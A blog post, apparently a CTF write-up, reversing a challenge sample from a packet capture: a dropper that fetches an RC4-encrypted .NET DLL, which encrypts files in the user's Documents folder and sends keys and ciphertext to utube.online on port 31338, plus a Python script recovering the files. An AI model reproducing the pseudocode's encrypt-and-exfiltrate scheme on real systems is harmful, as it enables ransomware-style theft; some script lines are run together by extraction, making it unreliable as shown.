HTB x UNI CTF — Writeup Malception (Reverse)

Yan1x0s
9 min readDec 11, 2020

Previously, i shared with you how i have solved the forensics challenges of this CTF :
https://yan1x0s.medium.com/htb-x-uni-ctf-writeup-forensics-d3d122a71e36
Now, i’m sharing with you an other amazing reverse challenge that i did with my teammates : Redouane, Kero & Fa2y.

Write-up

We are given a zip file that contains a pcap file :

A lot of traffic is going on inside this capture.

I decided to lead the pcap inside NetworkMiner tool :

We have some DNS, HTTPs, HTTP, SMB and we also have KERBEROS.

Interesting events are in this timing order :

1- The machine 192.168.0.115 downloaded an EXE file from 192.168.0.115.
2- Some TCP traffic went to port 31337 and 31338
3- Kerberos authentication started from 192.168.0.115

Username : rick.a
Hostname : MEGACORP.LOCALHOST

I was able to crack the TGT to get the user’s password :

But it didn’t serve us at all xD

4- smb traffic from 192.168.0.115

So everything happened after downloading that exe file ! let’s check it :

In wireshark go to : File -> Export Objects -> As HTTP Traffic.
Go to the directory where you saved the exported files and find the EXE.

Let’s load it in IDA Pro :

The code above creates a socket, and connects to utube.online on port 31337

After the connection is established :

  • The client sends the string “z11gj1” to the server
  • The server sends back some data.
  • The client gets the computer name
  • The client XORs the previous data with the computer name as a key
  • The client finishes the connection by sending “533_11s4”

From this packet analysis, it seems the server sent back only 8 bytes ! It’ is highly probable a key !

Let’s recover the key :

After that, we have :

It allocates 10000 bytes of memory using VirtualAlloc, and reads 7680 bytes into it.

We notice a function being called at multiple locations, sub_140001010 :

By just looking at it in IDA, we recognize RC4 encryption because the selected part does initialization of the internal state :

for i from 0 to 255
S[i] := i

With some logic, we conclude that the first data sent is the RC4 key and now he will use it to decipher a data section that has been encrypted using that key.

We recover manually the ciphered section and try to u cipher it with the previous key :

“MZ” (hexadecimal: 4D 5A) at the beginning of the file (the “magic number”). “MZ” are the initials of Mark Zbikowski, one of leading developers of MS-DOS.[1]

It seems like the malware had an embded DLL that was encrypted using RC4.

After recovering the DLL, we try to open it :

The dll is writing in Mono/.Net, that means that we can use dnSpy to decompile it and read the source code !

Sadly, this DLL when opened with dnSpy, you get an error that says : “Corrupted file” !

Huh, but why ?

Let’s go back and check the rest of code :

In the code above, there is a call to LoadResource, and the code below the decryption writes some data from the resource embedded in the executable, into the decrypted DLL, starting at offset 3504.

We use resource hacker to extract the resource, and a hex editor (HxD) to manually write the content of the resource file into the extracted DLL.

We add this data to our extracted DLL, starting at offset 0xdb0

Once the dll is fully extracted and recovered, we load it in dnSpy to read its source code :

Let’s check the CorpSpace class :

It’s calling the method EncryptFiles with the user’s document folder as a parameter + another argument.

It’s walking the directory file by file and calling the EncryptFile Method and giving it the filename as an argument and the entry argument as key.

The magic happens inside this function :

  • priv, pub = creates a key pair
  • hash = md5( new guid()
  • password = base64( hash )
  • cipher1 = Graphy.Encrypt( file.content(), password ) # Rijndael encryption
  • cipher2 = Stego.Encrypt( hash, pub ) # rsa encryption
  • cipher3 = xor( priv, key )
  • socket = connect(“utube.online”, 31338)
  • len1 = len(cipher2) + len(priv)
  • socket.send(len1)
  • data1 = cipher2 + cipher3 # cipher2 = Stego.Encrypt( hash, pub ) | cipher3 = xor( priv, key)
  • socket.send(data1)
  • cipher4 = xor( filename + ‘.enc’ , key )
  • len2 = len( cipher4 )
  • socket.send( len2 )
  • socket.send( cipher4 ) # xor( filename + ‘.enc’ , key )
  • len3 = len( cipher1 )
  • socket.send( len3 )
  • socket.send( cipher1 ) # cipher1 = Graphy.Encrypt( file.content(), password =
  • socket.read(“end”)
  • socket.close()

The real problem is that we don’t know the key which is the entry argument sent to the dll and also used in : cipher3 = xor( priv, key ) !

Lucky us, that the key is also used in cipher4 = xor( filename + ‘.enc’ , key ), we know the biggest part of the filename from :

userName is : rick.a ( from kerberos ticket )

Now we can extract the key :

We extract the data sent from the client and we convert it back to binary using xxd :

  • $ tshark -r capture.pcapng -Y “tcp.srcport == 49829 && tcp.dstport == 31338” -T fields -e data | tail -n +2 | tr -d ‘\n\r’ | xxd -r -p > stream1.bin
  • $: tshark -r capture.pcapng -Y “tcp.srcport == 49830 && tcp.dstport == 31338” -T fields -e data | tail -n +2 | tr -d ‘\n\r’ | xxd -r -p > stream2.bin

We parse the steam based on the position of “\n” character :

Now that we have parsed them, let’s recover the file !

Quick recap of the stream format :

Steps to recover the files :

  1. Known plaintext attack on the cipher4 — -> recover the key and the filename :

since we know a good part of the filename being XORed with the unknown key, we can recover them both :

2. Having the key, we can recover the private rsa key since we have it in data1 as XOR(priv,key)

3. Having the private rsa key, we can recover the md5(guid), since we have it in the 1st part of data1 as Stego.Encrypt(hash, pub) :

4. Having the md5 of guid, we can recover the file content since it’s Encrypted using that as a key :

We first recover an image :

We got a cat :

Then, we recover a pdf :

Final script

#!/usr/bin/env python3
# Authors : Yan1x0s & Kero
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Protocol import KDF
from Crypto.Cipher import AES
from Crypto.Hash import SHA
from Crypto import Random
from pwn import xor
import subprocess
import base64
subprocess.getstatusoutput("tshark -r capture.pcapng -Y \"tcp.srcport == 49829 && tcp.dstport == 31338\" -T fields -e data | tail -n +2 | tr -d '\n\r' | xxd -r -p > stream1.bin")subprocess.getstatusoutput("tshark -r capture.pcapng -Y \"tcp.srcport == 49830 && tcp.dstport == 31338\" -T fields -e data | tail -n +2 | tr -d '\n\r' | xxd -r -p > stream2.bin")CURSOR = 0
FOLDER = "C:\\Users\\rick.a\\Documents\\"
STREAM1 = open('stream1.bin','rb').read()
STREAM2 = open('stream2.bin','rb').read()
STREAM = STREAM1 + STREAM2
def Stego_Decrypt(cipher1, md5_guid, filename) : salt = bytearray( [21, 204, 127, 153, 3, 237, 10, 26, 19, 103, 23, 31, 55, 49, 32, 57] )
password = base64.b64encode(bytearray.fromhex(md5_guid))
derived_key = KDF.PBKDF2(password, salt, dkLen=32, count=2)
iv = KDF.PBKDF2(password, salt, dkLen=32+16, count=2)
split_key = iv[32:]
rijn = AES.new(derived_key, AES.MODE_CBC, IV=split_key)
decrypted = rijn.decrypt(cipher1)
file = open(filename,'wb')
file.write(decrypted)
file.close()
print("{} has been recovered !".format(filename))
print("_______________________________________________\n")
def Graphy_Decrypt(data1, priv, index_priv ) : hash_enc = data1[:index_priv] e = int ( base64.b64decode(priv.find("Exponent").text).hex() , 16 )
p = int ( base64.b64decode(priv.find("P").text).hex() , 16 )
q = int ( base64.b64decode(priv.find("Q").text).hex() , 16)
d = int ( base64.b64decode(priv.find("D").text).hex() , 16)
rsa_key = RSA.construct((p*q, e, d, p, q))
dsize = SHA.digest_size
sentinel = Random.new().read(15+dsize)
cipher = PKCS1_v1_5.new(rsa_key)
md5_guid = cipher.decrypt(hash_enc, sentinel).hex()
print("MD5(GUID): ", md5_guid)
return md5_guid
def recover_private_key(data1, key): uncipher_data1 = xor(data1,key)
index_priv = uncipher_data1.index(b"<RSAKeyValue>")
priv = uncipher_data1[ index_priv : ].decode(errors='ignore')
from lxml import etree
priv = etree.fromstring(priv)
print("\nPrivate Key:")
print(etree.tostring(priv, pretty_print=True).decode())
return priv, index_priv
def recover_hash(data1, key) : priv, index_priv = recover_private_key(data1, key)
md5_guid = Graphy_Decrypt(data1, priv, index_priv)
return md5_guid
def recover_key(cipher4) :
global FOLDER
key = xor(cipher4, FOLDER)[:8]
print("Found key: ",key)
filename_enc = xor(cipher4, key).decode(errors='ignore')
print("Found filename: ", filename_enc)
i = filename_enc.rindex("\\") + 1
j = filename_enc.index(".enc")
filename = filename_enc[i:j]
return key, filename
def parse_stream() :
global CURSOR, STREAM
newline = STREAM.index(b'\n')
len_data = int( STREAM[:newline].decode() )
CURSOR = newline + 1
STREAM = STREAM[CURSOR:]
data = STREAM[:len_data] CURSOR = len_data
STREAM = STREAM[CURSOR:]
return len_data, data
if __name__ == '__main__' :
"""
STREAM1:
| len(data1)\n | data1
| | Stego.encrypt(hash, pub) + xor(priv, key)
STREAM2:
| len(cipher4)\n | cipher4
| | xor( filename + '.enc' , key )
STREAM3:
| len(cipher1)\n | cipher1
| | Graphy.encrypt( file.conten(), password )
"""while STREAM : len1, data1 = parse_stream()
len2, cipher4 = parse_stream()
len3, cipher1 = parse_stream()
key, filename = recover_key(cipher4)
md5_guid = recover_hash(data1, key)
Stego_Decrypt(cipher1, md5_guid, filename)

I hope you have learnt something =D

#Yan1x0s

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Yan1x0s
Yan1x0s

Written by Yan1x0s

Talent doesn’t exist. It is the desire of doing things

No responses yet

Write a response